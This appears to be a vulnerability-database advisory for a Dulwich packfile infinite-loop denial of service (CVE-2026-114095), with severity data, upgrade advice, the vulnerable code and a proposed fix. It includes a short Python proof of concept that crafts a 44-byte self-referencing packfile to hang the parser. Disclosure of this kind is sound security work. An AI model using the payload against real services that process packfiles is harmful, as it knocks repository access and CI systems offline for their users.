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VulnerabilityPublished Updated

CVE-2026-114095: Dulwich · Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

Affects prowlerSource GCVE Database

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Authoritative record:CVE-2026-114095· High 7.1

Not known to be exploited · CVSS 7.1 High : upgrade to 5.45.0 soon.

Data as of 30 Oct 2026, 05:15 UTC

CVSS 4.0 base score
7.1High
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 5.45.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 21 Oct 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponized: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

What to do

Upgrade prowler to 5.45.0.

Affected software

ProductAffectedFixed in
Homebrewprowlerpkg:brew/prowlerOther threatsAffected
  • >=5.9.0 <5.45.0
Fixed in
  • 5.45.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Affected file * `dulwich/pack.py` (Method: `Pack.resolve_object`) ### Description / Summary A High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`. If a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process. **Vulnerable Code Breakdown (`dulwich/pack.py`):** ```python elif obj_type == OFS_DELTA: delta_offset = parse_pack_object_offset_at(...) base_offset = obj_offset - delta_offset # VULNERABILITY: Self-reference if delta_offset == 0 base_type, base_data = self.resolve_object(...) # VULNERABILITY: Infinite recursion ``` ### Potential impact An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). 1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely. 2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access. 3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die("delta offset == 0 is invalid");`. ### POC (Proof of Concept) The following Python script generates a 44-byte packfile that triggers the loop: ```python from dulwich.pack import Pack import struct, zlib, tempfile, os # Build a single OFS_DELTA entry whose delta_offset is 0 type_ofs_delta = 6 header = bytes([(type_ofs_delta << 4) | 0]) ofs_bytes = bytes([0x00]) # delta_offset = 0 body = zlib.compress(b'') raw = header + ofs_bytes + body pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20) fd, path = tempfile.mkstemp(suffix='.pack') os.write(fd, pack); os.close(fd) # Trigger: This call never returns and spins at 100% CPU p = Pack(path) obj = p[list(p.iterobjects())[0]] ``` ### Possible solution 1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`: ```python if delta_offset == 0: raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0") ``` 2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).

References

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